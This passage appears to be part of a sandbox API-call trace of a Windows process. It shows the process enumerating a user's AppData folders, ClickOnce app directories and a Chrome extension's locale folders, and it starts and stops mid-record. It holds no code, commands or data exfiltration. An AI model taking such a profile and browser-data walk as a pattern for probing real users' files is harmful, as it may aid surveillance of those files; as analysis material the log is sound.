lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.741] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.741] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\network shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.741] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.742] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.742] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.742] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm") returned 0x43 [0068.804] _except_handler4_common () returned 0x1 [0068.805] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.869] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.881] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.881] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.882] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0069.102] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8d40 [0069.103] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\Data\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8d40 [0069.104] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\Data\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fd8d40 [0069.104] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8d40 [0069.105] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\8MMT72DY.9P8\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8d40 [0069.105] FindClose (in: hFindFile=0x6fd8d40 | out: hFindFile=0x6fd8d40) returned 1 [0069.105] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\498Y58B6.9CJ\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8d40 [0069.105] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8d40 [0069.106] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8d40 [0069.106] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8c80 [0069.123] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8c80 [0069.123] FindClose (in: hFindFile=0x6fd8c80 | out: hFindFile=0x6fd8c80) returned 1 [0069.123] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8c80 [0069.124] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8c80 [0069.198] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\goog...app_baa8013a79450f71_0001.0003_2758a2f6a66cd679\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8c80 [0069.200] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Apps\\2.0\\V6XC7A9K.YZL\\YBR362Y4.P7L\\manifests\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8c80 [0069.771] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.771] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf152a6e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf152a6e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf152a6e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.773] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.773] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.773] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", lpFilePart=0x0) returned 0x7d [0069.773] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.773] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.774] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.774] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.774] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf152a6e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf152a6e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf152a6e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.774] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.774] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.774] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.774] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.774] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.774] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", lpFilePart=0x0) returned 0x7d [0069.775] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.775] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.775] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf152a6e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf152a6e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf152a6e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.776] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.776] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.776] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.776] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", lpFilePart=0x0) returned 0x7d [0069.776] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.777] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.777] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1550840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1550840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.777] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.777] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.777] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.778] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", lpFilePart=0x0) returned 0x7d [0069.778] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.778] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.778] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | 